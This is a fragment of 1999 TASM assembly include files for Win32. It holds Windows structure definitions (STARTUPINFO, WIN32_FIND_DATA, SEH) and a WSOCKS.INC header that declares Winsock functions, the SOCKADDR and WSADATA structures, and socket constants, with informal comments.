si_hStdError		HANDLE	  0		;standard error handle
STARTUPINFO		ends
STARTUPINFO_		equ	  4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4


WIN32_FIND_DATA_	equ	  4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
WIN32_FIND_DATA		struct
fd_dwFileAttributes	DWORD	  0		;file attributes
fd_ftCreationTime	DWORD	  0, 0		;time of file creation
fd_ftLastAccessTime	DWORD	  0, 0		;time of last file access
fd_ftLastWriteTime	DWORD	  0, 0		;time of last write access
fd_nFileSizeHigh	DWORD	  0		;high-order word of file size
fd_nFileSizeLow		DWORD	  0		;low-order word of file size
fd_dwReserved0		DWORD	  0		;(reserved)
fd_dwReserved1		DWORD	  0		;(reserved)
fd_cFileName		CHAR	  260 dup(0)    ;matching file name
fd_cAlternateFileName	CHAR	  14 dup(0)	;8.3 alias name
WIN32_FIND_DATA		ends
;


SEH struct
m_pSEH	   		DWORD 0
m_pExcFunction    	DWORD 0
SEH ends
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MYINC.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;
;      WSocks.inc: include file for windows sockets .
;      Designed for TASM5 and Win32.
;
;      (C) 1999 Bumblebee.
;
;       This file contains basic structures and stuff to work
;       with windows sockets.
;

; Descriptions of the API:
;  arguments in order of PUSH ;)

; only for debug
extrn   WSAGetLastError:PROC

; starts the use of winsock dll
; addr WSADATA, version requested
; returns: 0 ok
extrn	WSAStartup:PROC

; terminates the use of winsock dll
; returns: SOCK_ERR on error
extrn	WSACleanup:PROC

; opens a new socket
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
; returns: socket id or SOCKET_ERR (socket is dw)
extrn	socket:PROC

; closes a socket
; socket descriptor
;
extrn   closesocket:PROC

; sends data (this socks are a shit... Unix uses simple write)
; flags (1  OOB data or 0 normal ) , length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   send:PROC

; reveives data (this socks are a shit... Unix uses simple read)
; flags (use 0), length, addr of buffer, socket
; returns: caracters sent or SOCKET_ERR on error
extrn   recv:PROC

; connects to a server
; sizeof struct SOCKADDR, struct SOCKADDR, socket
; returns: SOCKET_ERR on error
extrn	connect:PROC

; gets the name of the current host
; length of the buffer for name, addr of buffer for name
; return: SOCKET_ERR on error
extrn   gethostname:PROC

; gets strcut hostent
; addr of name
; returns: ponter to the struct or 0 on error
extrn   gethostbyname:PROC

; converts a zstring like "xxx.xxx.xx...." to netw byte order
; zstring ptr to change to dotted addr format
; returns: in_addr (dd)
extrn 	inet_addr:PROC

; dw to convert into netw byte order (usually the port)
; returns: the value in network byte order (dw)
extrn   htons:PROC

; Structs :o

; sockaddr struct for connection
; modified (for better use)
; if you want the original look for it into a winsock.h
SOCKADDR        struct
sin_family	dw	0	; ex. AF_INET
sin_port	dw	0	; use htons for this
sin_addr        dd      0       ; here goes server node (from inet_addr)
sin_zero	db	8 dup(0)
SOCKADDR        ends

; for WSAStartup diagnose
WSADATA		struct
mVersion	dw	0
mHighVersion	dw	0
szDescription	db	257 dup(0)
szSystemStatus	db	129 dup(0)
iMaxSockets	dw	0
iMaxUpdDg	dw	0
lpVendorInfo	dd	0
WSADATA		ends

; Some nice equs 

; what version of winsock do you need? (usually 1.1)
VERSION1_0      equ     0100h
VERSION1_1      equ     0101h
VERSION2_0      equ     0200h

AF_UNIX		equ	1	; local host
AF_INET         equ     2       ; internet (most used)
AF_IMPLINK	equ	3	; arpanet
AF_NETBIOS	equ	17	; NetBios style addresses

; types of sockets
SOCK_STREAM     equ     1       ; stream (connection oriented; telnet like)
SOCK_DGRAM      equ     2       ; datagram (packets, packets, packets)

; protocol
PCL_NONE        equ     0       ; none (define the protocol not needed)

SOCKET_ERR      equ     -1      ; standard winsock error

HOSTENT_IP      equ     10h     ; where is the IP into the hostent struct
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ